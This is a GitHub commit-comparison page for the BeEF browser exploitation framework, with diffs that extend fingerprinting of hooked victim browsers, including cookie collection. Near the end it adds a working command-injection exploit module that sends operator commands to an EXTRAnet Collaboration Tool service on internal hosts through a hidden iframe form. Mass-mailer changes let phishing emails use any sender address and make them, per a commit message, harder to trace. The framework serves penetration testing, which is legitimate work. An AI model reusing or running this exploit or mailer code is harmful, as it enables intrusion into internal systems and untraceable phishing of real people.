Compare commits

...

33 Commits

Author SHA1 Message Date
Michele Orru
71f04d82f5 Merge pull request #849 from geefunkmasterpro/master
Enhancements to Mass Mailer
2013-05-26 04:58:57 -07:00
bcoles
704b979054 minor syntax changes to php-5.3.9-dos module 2013-05-26 02:48:04 +09:30
bcoles
7aaafc79aa Remove bi-directional communication from IPEC win bindshell module 2013-05-26 02:41:04 +09:30
bcoles
f90ad4a261 Add detection for WebRTC support 2013-05-24 17:06:36 +09:30
bcoles
0dfab0e348 Add EXTRAnet Collaboration Tool Command Execution exploit module 2013-05-24 16:40:02 +09:30
bcoles
018a849e14 Add 'path' argument for beef.dom.createIframeIpecForm() 2013-05-24 14:01:21 +09:30
bcoles
717f63ff0c Add ruby-nntpd Command Execution exploit module 2013-05-24 13:50:04 +09:30
bcoles
9bac6b4fc1 Add support for Firefox 21 2013-05-24 13:47:31 +09:30
bcoles
2dae1d4c07 Add /bin/sh -c to default command 2013-05-22 14:37:01 +09:30
bcoles
7de48ceafb Add GroovyShell Server Command Execution IPEC exploit module 2013-05-22 02:32:27 +09:30
Brendan Coles
8ecdceb928 Merge pull request #894 from sgorbaty/master
New functionality - detect phonegap plugins
2013-05-09 01:59:49 -07:00
Sergey Gorbaty
498372aef3 Adding phonegap integration with keychain plugin 2013-05-08 13:18:31 -07:00
Sergey Gorbaty
55d8506960 Added primitive phonegap plugin detection 2013-05-07 17:10:12 -07:00
antisnatchor
8d60c10298 Merge branch 'master' of https://github.com/beefproject/beef 2013-05-07 13:04:19 +02:00
antisnatchor
94d15cd386 Added DOS module which allows you to send multiple GET or POST requests to a target, from a WebWorker in order to don't slow down the whole browser. 2013-05-07 13:00:34 +02:00
bcoles
5bbf26abac Add beef.http.dns_port config option 2013-05-06 16:03:17 +09:30
Brendan Coles
5b90c351da Merge pull request #888 from sgorbaty/master
Adding new features to Phonegap module
2013-05-05 17:26:31 -07:00
antisnatchor
b501fe7c1a Updated Rack dependency in Gemfile in order to don't create conflicts with the updated Sinatra dependency. 2013-05-04 09:42:40 +01:00
Michele Orru
b28e631500 Merge pull request #889 from 0x1a0ran/master
Bug fix: cross-origin XHR with "Origin" or "Referrer" header set always return 403.
2013-05-04 01:30:42 -07:00
Sergey Gorbaty
5722cb2bc1 Added email to contact list 2013-05-03 14:24:23 -07:00
Sergey Gorbaty
0479744dfc added device model detection 2013-05-03 14:14:19 -07:00
Sergey Gorbaty
3dbfdbac7e Adding user prompt 2013-05-03 14:02:53 -07:00
Sergey Gorbaty
d3262d9451 Adding local detection 2013-05-03 13:34:09 -07:00
Sergey Gorbaty
906ca6ccce Cordova detection added 2013-05-03 13:13:24 -07:00
Xiaoran Wang
ea560c3464 Added configurable port for postsql and mysql 2013-05-03 13:01:37 -07:00
Xiaoran Wang
b79402ce5f updated sinatra from 1.3.2 to 1.4.2 to fix the CORS request always return a 403 bug. link here https://github.com/sinatra/sinatra/issues/518 2013-05-03 11:02:11 -07:00
Sergey Gorbaty
1699d52475 adding contact list 2013-05-03 10:09:09 -07:00
antisnatchor
c5d5b99472 Issue #886: The preflight OPTIONS request now allow also the content-type header, required to use a json conten-type with POST requests. 2013-05-02 10:55:16 +01:00
antisnatchor
9915547b19 Issue #886: Added support for preflight OPTIONS request. 2013-05-01 17:19:48 +01:00
antisnatchor
ef2eac26eb Issue #886: Added support for CORS on the Router object. The RESTful aPI can not be called from JS x-domain. 2013-05-01 11:15:21 +01:00
bcoles
09be2db069 Update version to beef-0.4.4.5 2013-05-01 17:53:21 +09:30
geefunkmasterpro
66d0e3535b Added fromaddr to mass mailer JSON interface so emails can be sent from
any address without restart.

Removed fromaddr entry from config.yaml.
2013-02-27 23:29:08 +11:00
geefunkmasterpro
e79372f8ac Added auth field to config so that emails are harder to track to sender
Added error handling to identify:
  - errors creating the mail headers
  - errors processing JSON input
  - errors in the mailer configuration
2013-02-27 21:33:48 +11:00
53 changed files with 1167 additions and 234 deletions

View File

@@ -13,7 +13,8 @@ end
gem "eventmachine", "1.0.3"
gem "thin"
gem "sinatra", "1.3.2"
gem "sinatra", "1.4.2"
gem "rack", "1.5.2"
gem "em-websocket", "~> 0.3.6"
gem "jsmin", "~> 1.0.1"
gem "ansi"

View File

@@ -4,4 +4,4 @@
# See the file 'doc/COPYING' for copying permission
#
0.4.4.4.1-alpha
0.4.4.5-alpha

1
beef
View File

@@ -75,6 +75,7 @@ case config.get("beef.database.driver")
DataMapper.setup(:default,
:adapter => config.get("beef.database.driver"),
:host => config.get("beef.database.db_host"),
:port => config.get("beef.database.db_port"),
:username => config.get("beef.database.db_user"),
:password => config.get("beef.database.db_passwd"),
:database => config.get("beef.database.db_name"),

View File

@@ -6,7 +6,7 @@
# BeEF Configuration file
beef:
version: '0.4.4.4.1-alpha'
version: '0.4.4.5-alpha'
debug: false
restrictions:
@@ -27,12 +27,20 @@ beef:
# if running behind a nat set the public ip address here
#public: ""
#public_port: "" # port setting is experimental
dns: "localhost"
# DNS
dns_host: "localhost"
dns_port: 53
panel_path: "/ui/panel"
hook_file: "/hook.js"
hook_session_name: "BEEFHOOK"
session_cookie_name: "BEEFSESSION"
# Allow one or multiple domains to access the RESTful API using CORS
# For multiple domains use: "http://browserhacker.com, http://domain2.com"
restful_api:
allow_cors: false
cors_allowed_domains: "http://browserhacker.com"
# Prefer WebSockets over XHR-polling when possible.
websocket:
enable: false
@@ -50,7 +58,7 @@ beef:
https:
enable: false
# In production environments, be sure to use a valid certificate signed for the value
# used in beef.http.dns (the domain name of the server where you run BeEF)
# used in beef.http.dns_host (the domain name of the server where you run BeEF)
key: "beef_key.pem"
cert: "beef_cert.pem"
@@ -72,6 +80,7 @@ beef:
# db connection information is only used for mysql/postgres
db_host: "localhost"
db_port: 5432
db_name: "beef"
db_user: "beef"
db_passwd: "beef123"

View File

@@ -236,12 +236,20 @@ beef.browser = {
return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && window.navigator.userAgent.match(/Firefox\/20\./) != null;
},
/**
* Returns true if FF21
* @example: beef.browser.isFF21()
*/
isFF21:function () {
return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && window.navigator.userAgent.match(/Firefox\/21\./) != null;
},
/**
* Returns true if FF.
* @example: beef.browser.isFF()
*/
isFF:function () {
return this.isFF2() || this.isFF3() || this.isFF3_5() || this.isFF3_6() || this.isFF4() || this.isFF5() || this.isFF6() || this.isFF7() || this.isFF8() || this.isFF9() || this.isFF10() || this.isFF11() || this.isFF12() || this.isFF13() || this.isFF14() || this.isFF15() || this.isFF16() || this.isFF17() || this.isFF18() || this.isFF19() || this.isFF20();
return this.isFF2() || this.isFF3() || this.isFF3_5() || this.isFF3_6() || this.isFF4() || this.isFF5() || this.isFF6() || this.isFF7() || this.isFF8() || this.isFF9() || this.isFF10() || this.isFF11() || this.isFF12() || this.isFF13() || this.isFF14() || this.isFF15() || this.isFF16() || this.isFF17() || this.isFF18() || this.isFF19() || this.isFF20() || this.isFF21();
},
/**
@@ -561,7 +569,8 @@ beef.browser = {
FF17:this.isFF17(), // Firefox 17
FF18:this.isFF18(), // Firefox 18
FF19:this.isFF19(), // Firefox 19
FF20:this.isFF20(), // Firefox 20
FF20:this.isFF20(), // Firefox 20
FF21:this.isFF21(), // Firefox 21
FF:this.isFF(), // Firefox any version
IE6:this.isIE6(), // Internet Explorer 6
@@ -761,10 +770,14 @@ beef.browser = {
return '19'
}
; // Firefox 19
if (this.isFF20()) {
return '20'
}
; // Firefox 20
if (this.isFF20()) {
return '20'
}
; // Firefox 20
if (this.isFF21()) {
return '21'
}
; // Firefox 21
if (this.isIE6()) {
return '6'
@@ -1082,8 +1095,9 @@ beef.browser = {
*/
hasPhonegap:function () {
var result = false;
try {
if (!!device.phonegap) result = true; else result = false;
if (!!device.phonegap || !!device.cordova) result = true; else result = false;
}
catch (e) {
result = false;
@@ -1449,63 +1463,64 @@ beef.browser = {
getDetails:function () {
var details = new Array();
var browser_name = beef.browser.getBrowserName();
var browser_version = beef.browser.getBrowserVersion();
var browser_name = beef.browser.getBrowserName();
var browser_version = beef.browser.getBrowserVersion();
var browser_reported_name = beef.browser.getBrowserReportedName();
var page_title = (document.title) ? document.title : "Unknown";
var page_uri = document.location.href;
var page_referrer = (document.referrer) ? document.referrer : "Unknown";
var hostname = document.location.hostname;
var hostport = (document.location.port) ? document.location.port : "80";
var browser_plugins = beef.browser.getPlugins();
var date_stamp = new Date().toString();
var os_name = beef.os.getName();
var hw_name = beef.hardware.getName();
var cpu_type = beef.hardware.cpuType();
var touch_enabled = (beef.hardware.isTouchEnabled()) ? "Yes" : "No";
var page_title = (document.title) ? document.title : "Unknown";
var page_uri = (document.location.href) ? document.location.href : "Unknown";
var page_referrer = (document.referrer) ? document.referrer : "Unknown";
var hostname = (document.location.hostname) ? document.location.hostname : "Unknown";
var hostport = (document.location.port) ? document.location.port : "80";
var browser_plugins = beef.browser.getPlugins();
var date_stamp = new Date().toString();
var os_name = beef.os.getName();
var hw_name = beef.hardware.getName();
var cpu_type = beef.hardware.cpuType();
var touch_enabled = (beef.hardware.isTouchEnabled()) ? "Yes" : "No";
var browser_platform = (typeof(navigator.platform) != "undefined" && navigator.platform != "") ? navigator.platform : null;
var browser_type = JSON.stringify(beef.browser.type(), function (key, value) {
if (value == true) return value; else if (typeof value == 'object') return value; else return;
});
var screen_size = beef.browser.getScreenSize();
var window_size = beef.browser.getWindowSize();
var java_enabled = (beef.browser.javaEnabled()) ? "Yes" : "No";
var vbscript_enabled = (beef.browser.hasVBScript()) ? "Yes" : "No";
var has_flash = (beef.browser.hasFlash()) ? "Yes" : "No";
var has_phonegap = (beef.browser.hasPhonegap()) ? "Yes" : "No";
var has_googlegears = (beef.browser.hasGoogleGears()) ? "Yes" : "No";
var has_web_socket = (beef.browser.hasWebSocket()) ? "Yes" : "No";
var has_activex = (beef.browser.hasActiveX()) ? "Yes" : "No";
var has_silverlight = (beef.browser.hasSilverlight()) ? "Yes" : "No";
var has_quicktime = (beef.browser.hasQuickTime()) ? "Yes" : "No";
var has_realplayer = (beef.browser.hasRealPlayer()) ? "Yes" : "No";
var has_wmp = (beef.browser.hasWMP()) ? "Yes" : "No";
var has_vlc = (beef.browser.hasVLC()) ? "Yes" : "No";
var has_foxit = (beef.browser.hasFoxit()) ? "Yes" : "No";
var screen_size = beef.browser.getScreenSize();
var window_size = beef.browser.getWindowSize();
var java_enabled = (beef.browser.javaEnabled()) ? "Yes" : "No";
var vbscript_enabled = (beef.browser.hasVBScript()) ? "Yes" : "No";
var has_flash = (beef.browser.hasFlash()) ? "Yes" : "No";
var has_phonegap = (beef.browser.hasPhonegap()) ? "Yes" : "No";
var has_googlegears = (beef.browser.hasGoogleGears()) ? "Yes" : "No";
var has_web_socket = (beef.browser.hasWebSocket()) ? "Yes" : "No";
var has_webrtc = (beef.browser.hasWebRTC()) ? "Yes" : "No";
var has_activex = (beef.browser.hasActiveX()) ? "Yes" : "No";
var has_silverlight = (beef.browser.hasSilverlight()) ? "Yes" : "No";
var has_quicktime = (beef.browser.hasQuickTime()) ? "Yes" : "No";
var has_realplayer = (beef.browser.hasRealPlayer()) ? "Yes" : "No";
var has_wmp = (beef.browser.hasWMP()) ? "Yes" : "No";
var has_vlc = (beef.browser.hasVLC()) ? "Yes" : "No";
var has_foxit = (beef.browser.hasFoxit()) ? "Yes" : "No";
try{
var cookies = document.cookie;
var has_session_cookies = (beef.browser.cookie.hasSessionCookies("cookie")) ? "Yes" : "No";
var has_persistent_cookies = (beef.browser.cookie.hasPersistentCookies("cookie")) ? "Yes" : "No";
if (cookies) details["Cookies"] = cookies;
if (has_session_cookies) details["hasSessionCookies"] = has_session_cookies;
if (has_persistent_cookies) details["hasPersistentCookies"] = has_persistent_cookies;
if (cookies) details['Cookies'] = cookies;
if (has_session_cookies) details['hasSessionCookies'] = has_session_cookies;
if (has_persistent_cookies) details['hasPersistentCookies'] = has_persistent_cookies;
}catch(e){
// the hooked domain is using HttpOnly. EverCookie is persisting the BeEF hook in a different way,
// and there is no reason to read cookies at this point
details["Cookies"] = "Cookies can't be read. The hooked domain is most probably using HttpOnly.";
details["hasSessionCookies"] = "No";
details["hasPersistentCookies"] = "No";
details['Cookies'] = "Cookies can't be read. The hooked domain is most probably using HttpOnly.";
details['hasSessionCookies'] = "No";
details['hasPersistentCookies'] = "No";
}
if (browser_name) details["BrowserName"] = browser_name;
if (browser_version) details["BrowserVersion"] = browser_version;
if (browser_reported_name) details["BrowserReportedName"] = browser_reported_name;
if (page_title) details["PageTitle"] = page_title;
if (page_uri) details["PageURI"] = page_uri;
if (page_referrer) details["PageReferrer"] = page_referrer;
if (hostname) details["HostName"] = hostname;
if (hostport) details["HostPort"] = hostport;
if (browser_plugins) details["BrowserPlugins"] = browser_plugins;
if (browser_name) details['BrowserName'] = browser_name;
if (browser_version) details['BrowserVersion'] = browser_version;
if (browser_reported_name) details['BrowserReportedName'] = browser_reported_name;
if (page_title) details['PageTitle'] = page_title;
if (page_uri) details['PageURI'] = page_uri;
if (page_referrer) details['PageReferrer'] = page_referrer;
if (hostname) details['HostName'] = hostname;
if (hostport) details['HostPort'] = hostport;
if (browser_plugins) details['BrowserPlugins'] = browser_plugins;
if (os_name) details['OsName'] = os_name;
if (hw_name) details['Hardware'] = hw_name;
if (cpu_type) details['CPU'] = cpu_type;
@@ -1516,11 +1531,12 @@ beef.browser = {
if (screen_size) details['ScreenSize'] = screen_size;
if (window_size) details['WindowSize'] = window_size;
if (java_enabled) details['JavaEnabled'] = java_enabled;
if (vbscript_enabled) details['VBScriptEnabled'] = vbscript_enabled
if (has_flash) details['HasFlash'] = has_flash
if (has_phonegap) details['HasPhonegap'] = has_phonegap
if (has_web_socket) details['HasWebSocket'] = has_web_socket
if (has_googlegears) details['HasGoogleGears'] = has_googlegears
if (vbscript_enabled) details['VBScriptEnabled'] = vbscript_enabled;
if (has_flash) details['HasFlash'] = has_flash;
if (has_phonegap) details['HasPhonegap'] = has_phonegap;
if (has_web_socket) details['HasWebSocket'] = has_web_socket;
if (has_googlegears) details['HasGoogleGears'] = has_googlegears;
if (has_webrtc) details['HasWebRTC'] = has_webrtc;
if (has_activex) details['HasActiveX'] = has_activex;
if (has_silverlight) details['HasSilverlight'] = has_silverlight;
if (has_quicktime) details['HasQuickTime'] = has_quicktime;
@@ -1539,6 +1555,13 @@ beef.browser = {
return !!window.ActiveXObject;
},
/**
* Returns boolean value depending on whether the browser supports WebRTC
*/
hasWebRTC:function () {
return (!!window.mozRTCPeerConnection || !!window.webkitRTCPeerConnection);
},
/**
* Returns boolean value depending on whether the browser supports Silverlight
*/

View File

@@ -476,11 +476,11 @@ beef.dom = {
* @params: {String} rport: remote port
* @params: {String} commands: protocol commands to be executed by the remote host:port service
*/
createIframeIpecForm: function(rhost, rport, commands){
createIframeIpecForm: function(rhost, rport, path, commands){
var iframeIpec = beef.dom.createInvisibleIframe();
var formIpec = document.createElement('form');
formIpec.setAttribute('action', 'http://'+rhost+':'+rport+'/index.html');
formIpec.setAttribute('action', 'http://'+rhost+':'+rport+path);
formIpec.setAttribute('method', 'POST');
formIpec.setAttribute('enctype', 'multipart/form-data');

View File

@@ -255,6 +255,14 @@ module BeEF
self.err_msg "Invalid value for HasWebSocket returned from the hook browser's initial connection."
end
# get and store the yes|no value for HasWebRTC
has_webrtc = get_param(@data['results'], 'HasWebRTC')
if BeEF::Filters.is_valid_yes_no?(has_webrtc)
BD.set(session_id, 'HasWebRTC', has_webrtc)
else
self.err_msg "Invalid value for HasWebRTC returned from the hook browser's initial connection."
end
# get and store the yes|no value for HasActiveX
has_activex = get_param(@data['results'], 'HasActiveX')
if BeEF::Filters.is_valid_yes_no?(has_activex)

View File

@@ -81,16 +81,34 @@ module BeEF
case type
when "apache"
headers "Server" => "Apache/2.2.3 (CentOS)",
"Content-Type" => "text/html"
"Content-Type" => "text/html; charset=UTF-8"
when "iis"
headers "Server" => "Microsoft-IIS/6.0",
"X-Powered-By" => "ASP.NET",
"Content-Type" => "text/html"
"Content-Type" => "text/html; charset=UTF-8"
else
print_error "You have and error in beef.http.web_server_imitation.type! Supported values are: apache, iis."
end
end
# @note If CORS are enabled, expose the appropriate headers
# this apparently duplicate code is needed to reply to preflight OPTIONS requests, which need to respond with a 200
# and be able to handle requests with a JSON content-type
if request.request_method == 'OPTIONS' && config.get("beef.http.restful_api.allow_cors")
allowed_domains = config.get("beef.http.restful_api.cors_allowed_domains")
headers "Access-Control-Allow-Origin" => allowed_domains,
"Access-Control-Allow-Methods" => "POST, GET",
"Access-Control-Allow-Headers" => "Content-Type"
halt 200
end
# @note If CORS are enabled, expose the appropriate headers
if config.get("beef.http.restful_api.allow_cors")
allowed_domains = config.get("beef.http.restful_api.cors_allowed_domains")
headers "Access-Control-Allow-Origin" => allowed_domains,
"Access-Control-Allow-Methods" => "POST, GET"
end
end
# @note Default root page

View File

@@ -41,7 +41,8 @@ module BeEF
'beef_port' => @configuration.get('beef.http.port'),
'beef_public' => @configuration.get('beef.http.public'),
'beef_public_port' => @configuration.get('beef.http.public_port'),
'beef_dns' => @configuration.get('beef.http.dns'),
'beef_dns_host' => @configuration.get('beef.http.dns_host'),
'beef_dns_port' => @configuration.get('beef.http.dns_port'),
'beef_hook' => @configuration.get('beef.http.hook_file'),
'beef_proto' => @configuration.get('beef.http.https.enable') == true ? "https" : "http",
'client_debug' => @configuration.get("beef.client.debug")

View File

@@ -86,6 +86,7 @@ class Modules < BeEF::Extension::AdminUI::HttpController
['Browser Components', 'Windows Media Player','HasWMP'],
['Browser Components', 'VLC', 'HasVLC'],
['Browser Components', 'Foxit Reader', 'HasFoxit'],
['Browser Components', 'WebRTC', 'HasWebRTC'],
['Browser Components', 'ActiveX', 'HasActiveX'],
['Browser Components', 'Session Cookies', 'hasSessionCookies'],
['Browser Components', 'Persistent Cookies', 'hasPersistentCookies'],

View File

@@ -88,6 +88,7 @@ module BeEF
has_web_sockets = BeEF::Core::Models::BrowserDetails.get(hooked_browser.session, 'HasWebSocket')
has_googlegears = BeEF::Core::Models::BrowserDetails.get(hooked_browser.session, 'HasGoogleGears')
has_java = BeEF::Core::Models::BrowserDetails.get(hooked_browser.session, 'JavaEnabled')
has_webrtc = BeEF::Core::Models::BrowserDetails.get(hooked_browser.session, 'HasWebRTC')
has_activex = BeEF::Core::Models::BrowserDetails.get(hooked_browser.session, 'HasActiveX')
has_silverlight = BeEF::Core::Models::BrowserDetails.get(hooked_browser.session, 'HasSilverlight')
has_quicktime = BeEF::Core::Models::BrowserDetails.get(hooked_browser.session, 'HasQuickTime')
@@ -113,6 +114,7 @@ module BeEF
'has_web_sockets' => has_web_sockets,
'has_googlegears' => has_googlegears,
'has_java' => has_java,
'has_webrtc' => has_webrtc,
'has_activex' => has_activex,
'has_silverlight' => has_silverlight,
'has_quicktime' => has_quicktime,

View File

@@ -27,10 +27,11 @@ var ZombiesMgr = function(zombies_tree_lists) {
var has_web_sockets = zombie_array[index]["has_web_sockets"];
var has_googlegears = zombie_array[index]["has_googlegears"];
var has_java = zombie_array[index]["has_java"];
var has_webrtc = zombie_array[index]["has_webrtc"];
var has_activex = zombie_array[index]["has_activex"];
var has_wmp = zombie_array[index]["has_wmp"];
var has_wmp = zombie_array[index]["has_wmp"];
var has_vlc = zombie_array[index]["has_vlc"];
var has_foxit = zombie_array[index]["has_foxit"];
var has_foxit = zombie_array[index]["has_foxit"];
var has_silverlight = zombie_array[index]["has_silverlight"];
var has_quicktime = zombie_array[index]["has_quicktime"];
var has_realplayer = zombie_array[index]["has_realplayer"];
@@ -47,14 +48,15 @@ var ZombiesMgr = function(zombies_tree_lists) {
balloon_text+= "<br/>Hardware: " + hw_name;
balloon_text+= "<br/>Domain: " + domain + ":" + port;
balloon_text+= "<br/>Flash: " + has_flash;
balloon_text+= "<br/>Java: " + has_java;
balloon_text+= "<br/>Web Sockets: " + has_web_sockets;
balloon_text+= "<br/>Java: " + has_java;
balloon_text+= "<br/>Web Sockets: " + has_web_sockets;
balloon_text+= "<br/>WebRTC: " + has_webrtc;
balloon_text+= "<br/>ActiveX: " + has_activex;
balloon_text+= "<br/>Silverlight: " + has_silverlight;
balloon_text+= "<br/>QuickTime: " + has_quicktime;
balloon_text+= "<br/>Windows MediaPlayer: " + has_wmp;
balloon_text+= "<br/>VLC: " + has_vlc;
balloon_text+= "<br/>Foxit: " + has_foxit;
balloon_text+= "<br/>Windows MediaPlayer: " + has_wmp;
balloon_text+= "<br/>VLC: " + has_vlc;
balloon_text+= "<br/>Foxit: " + has_foxit;
balloon_text+= "<br/>RealPlayer: " + has_realplayer;
balloon_text+= "<br/>Google Gears: " + has_googlegears;
balloon_text+= "<br/>Date: " + date_stamp;
@@ -67,7 +69,7 @@ var ZombiesMgr = function(zombies_tree_lists) {
'balloon_text' : balloon_text,
'check' : false,
'domain' : domain,
'port' : port
'port' : port
};
return new_zombie;

View File

@@ -302,6 +302,7 @@ class ShellInterface
['Browser Components', 'Windows Media Player','HasWMP'],
['Browser Components', 'VLC', 'HasVLC'],
['Browser Components', 'Foxit', 'HasFoxit'],
['Browser Components', 'WebRTC', 'HasWebRTC'],
['Browser Components', 'ActiveX', 'HasActiveX'],
['Browser Components', 'Session Cookies', 'hasSessionCookies'],
['Browser Components', 'Persistent Cookies', 'hasPersistentCookies'],
@@ -310,7 +311,7 @@ class ShellInterface
['Hooked Page', 'Page Title', 'PageTitle'],
['Hooked Page', 'Page URI', 'PageURI'],
['Hooked Page', 'Page Referrer', 'PageReferrer'],
['Hooked Page', 'Hook Host', 'HostName'],
['Hooked Page', 'Hook Host', 'HostName'],
['Hooked Page', 'Cookies', 'Cookies'],
# Host

View File

@@ -21,7 +21,7 @@ beef:
use_auth: true
use_tls: true
helo: "gmail.com" # this is usually the domain name
from: "youruser@gmail.com"
auth: "youruser@gmail.com"
password: "yourpass"
# available templates
templates:

View File

@@ -20,14 +20,14 @@ module BeEF
@host = @config.get("#{@config_prefix}.host")
@port = @config.get("#{@config_prefix}.port")
@helo = @config.get("#{@config_prefix}.helo")
@from = @config.get("#{@config_prefix}.from")
@auth = @config.get("#{@config_prefix}.auth")
@password = @config.get("#{@config_prefix}.password")
end
# tos_hash is an Hash like:
# 'antisnatchor@gmail.com' => 'Michele'
# 'ciccio@pasticcio.com' => 'Ciccio'
def send_email(template, fromname, subject, link, linktext, tos_hash)
def send_email(template, fromname, fromaddr, subject, link, linktext, tos_hash)
# create new SSL context and disable CA chain validation
if @config.get("#{@config_prefix}.use_tls")
@ctx = OpenSSL::SSL::SSLContext.new
@@ -37,7 +37,7 @@ module BeEF
n = tos_hash.size
x = 1
print_info "Sending #{n} mail(s) from [#{@from}] - name [#{fromname}] using template [#{template}]:"
print_info "Sending #{n} mail(s) from [#{fromaddr}] - name [#{fromname}] using template [#{template}]:"
print_info "subject: #{subject}"
print_info "link: #{link}"
print_info "linktext: #{linktext}"
@@ -47,19 +47,19 @@ module BeEF
smtp.enable_starttls(@ctx) unless @config.get("#{@config_prefix}.use_tls") == false
if @config.get("#{@config_prefix}.use_auth")
smtp.start(@helo, @from, @password, :login) do |smtp|
smtp.start(@helo, @auth, @password, :login) do |smtp|
tos_hash.each do |to, name|
message = compose_email(fromname, to, name, subject, link, linktext, template)
smtp.send_message(message, @from, to)
message = compose_email(fromname, fromaddr, to, name, subject, link, linktext, template)
smtp.send_message(message, fromaddr, to)
print_info "Mail #{x}/#{n} to [#{to}] sent."
x += 1
end
end
else
smtp.start(@helo, @from) do |smtp|
smtp.start(@helo, @auth) do |smtp|
tos_hash.each do |to, name|
message = compose_email(fromname, to, name, subject, link, linktext, template)
smtp.send_message(message, @from, to)
message = compose_email(fromname, fromaddr, to, name, subject, link, linktext, template)
smtp.send_message(message, fromaddr, to)
print_info "Mail #{x}/#{n} to [#{to}] sent."
x += 1
end
@@ -67,33 +67,39 @@ module BeEF
end
end
def compose_email(fromname, to, name, subject, link, linktext, template)
msg_id = random_string(50)
boundary = "------------#{random_string(24)}"
rel_boundary = "------------#{random_string(24)}"
def compose_email(fromname, fromaddr, to, name, subject, link, linktext, template)
begin
msg_id = random_string(50)
boundary = "------------#{random_string(24)}"
rel_boundary = "------------#{random_string(24)}"
header = email_headers(@from, fromname, @user_agent, to, subject, msg_id, boundary)
plain_body = email_plain_body(parse_template(name, link, linktext, "#{@templates_dir}#{template}/mail.plain", template), boundary)
rel_header = email_related(rel_boundary)
html_body = email_html_body(parse_template(name, link, linktext, "#{@templates_dir}#{template}/mail.html", template),rel_boundary)
images = ""
@config.get("#{@config_prefix}.templates.#{template}.images").each do |image|
images += email_add_image(image, "#{@templates_dir}#{template}/#{image}",rel_boundary)
end
header = email_headers(fromaddr, fromname, @user_agent, to, subject, msg_id, boundary)
plain_body = email_plain_body(parse_template(name, link, linktext, "#{@templates_dir}#{template}/mail.plain", template), boundary)
rel_header = email_related(rel_boundary)
html_body = email_html_body(parse_template(name, link, linktext, "#{@templates_dir}#{template}/mail.html", template),rel_boundary)
attachments = ""
if @config.get("#{@config_prefix}.templates.#{template}.attachments") != nil
@config.get("#{@config_prefix}.templates.#{template}.attachments").each do |attachment|
attachments += email_add_attachment(attachment, "#{@templates_dir}#{template}/#{attachment}",rel_boundary)
end
end
images = ""
@config.get("#{@config_prefix}.templates.#{template}.images").each do |image|
images += email_add_image(image, "#{@templates_dir}#{template}/#{image}",rel_boundary)
end
close = email_close(boundary)
attachments = ""
if @config.get("#{@config_prefix}.templates.#{template}.attachments") != nil
@config.get("#{@config_prefix}.templates.#{template}.attachments").each do |attachment|
attachments += email_add_attachment(attachment, "#{@templates_dir}#{template}/#{attachment}",rel_boundary)
end
end
message = header + plain_body + rel_header + html_body + images + attachments + close
print_debug "Raw Email content:\n #{message}"
message
close = email_close(boundary)
rescue Exception => e
print_error "Error constructing email."
raise
end
message = header + plain_body + rel_header + html_body + images + attachments + close
print_debug "Raw Email content:\n #{message}"
message
end
def email_headers(from, fromname, user_agent, to, subject, msg_id, boundary)

View File

@@ -70,6 +70,7 @@ module BeEF
# "template": "default",
# "subject": "Hi from BeEF",
# "fromname": "BeEF",
# "fromaddr": "beef@beef.com",
# "link": "http://www.microsoft.com/security/online-privacy/phishing-symptoms.aspx",
# "linktext": "http://beefproject.com",
# "recipients": [{
@@ -85,10 +86,11 @@ module BeEF
template = body["template"]
subject = body["subject"]
fromname = body["fromname"]
fromaddr = body["fromaddr"]
link = body["link"]
linktext = body["linktext"]
if template.nil? || subject.nil? || fromname.nil? || link.nil? || linktext.nil?
if template.nil? || subject.nil? || fromaddr.nil? || fromname.nil? || link.nil? || linktext.nil?
print_error "All parameters are mandatory."
halt 401
end
@@ -106,11 +108,16 @@ module BeEF
halt 401
end
end
mass_mailer = BeEF::Extension::SocialEngineering::MassMailer.instance
mass_mailer.send_email(template, fromname, subject, link, linktext, recipients)
rescue Exception => e
print_error "Invalid JSON input passed to endpoint /api/seng/clone_page"
print_error "Invalid JSON input passed to endpoint /api/seng/send_emails"
error 400
end
begin
mass_mailer = BeEF::Extension::SocialEngineering::MassMailer.instance
mass_mailer.send_email(template, fromname, fromaddr, subject, link, linktext, recipients)
rescue Exception => e
print_error "Invalid mailer configuration"
error 400
end
end

View File

@@ -0,0 +1,43 @@
//
// Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
// Browser Exploitation Framework (BeEF) - http://beefproject.com
// See the file 'doc/COPYING' for copying permission
//
beef.execute(function() {
var rhost = '<%= @rhost %>';
var rport = '<%= @rport %>';
var timeout = '<%= @timeout %>';
// validate payload
try {
var cmd = '<%= @cmd.gsub(/'/, "\\\'").gsub(/"/, '\\\"') %>';
var payload = 'createuser '+cmd+'&>/dev/null; echo;\r\nquit\r\n';
} catch(e) {
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'fail=malformed payload: '+e.toString());
return;
}
// validate target details
if (!rport || !rhost || isNaN(rport)) {
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'fail=malformed remote host or remote port');
return;
}
if (rport > 65535 || rport < 0) {
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'fail=invalid remote port');
return;
}
// send commands
var extract_iframe_<%= @command_id %> = beef.dom.createIframeIpecForm(rhost, rport, "/index.html", payload);
beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=sent commands");
// clean up
cleanup = function() {
document.body.removeChild(extract_iframe_<%= @command_id %>);
}
setTimeout("cleanup()", timeout*1000);
});

View File

@@ -0,0 +1,16 @@
#
# Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
beef:
module:
extract_cmd_exec:
enable: true
category: "Exploits"
name: "EXTRAnet Collaboration Tool (extra-ct) Command Execution"
description: "This module exploits a command execution vulnerability in the 'admserver' component of the EXTRAnet Collaboration Tool (default port 10100) to execute operating system commands.<br /><br />The target address can be on the hooked browser's subnet which is potentially not directly accessible from the Internet.<br/><br/>The results of the commands are not returned to BeEF.<br/><br/>Note: Spaces in the command are not supported."
authors: ["bcoles"]
target:
working: ["FF", "C"]
not_working: ["IE"]

View File

@@ -0,0 +1,30 @@
#
# Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
###
# Reference: http://itsecuritysolutions.org/2011-12-16-Privilege-escalation-and-remote-inter-protocol-exploitation-with-EXTRACT-0.5.1/
###
# EXTRAnet Collaboration Tool (extra-ct)
# Version: 0.5.1
# Homepage: http://www.extra-ct.net/
# Source: http://code.google.com/p/extra-ct/
# Source: http://sourceforge.net/projects/extract/
###
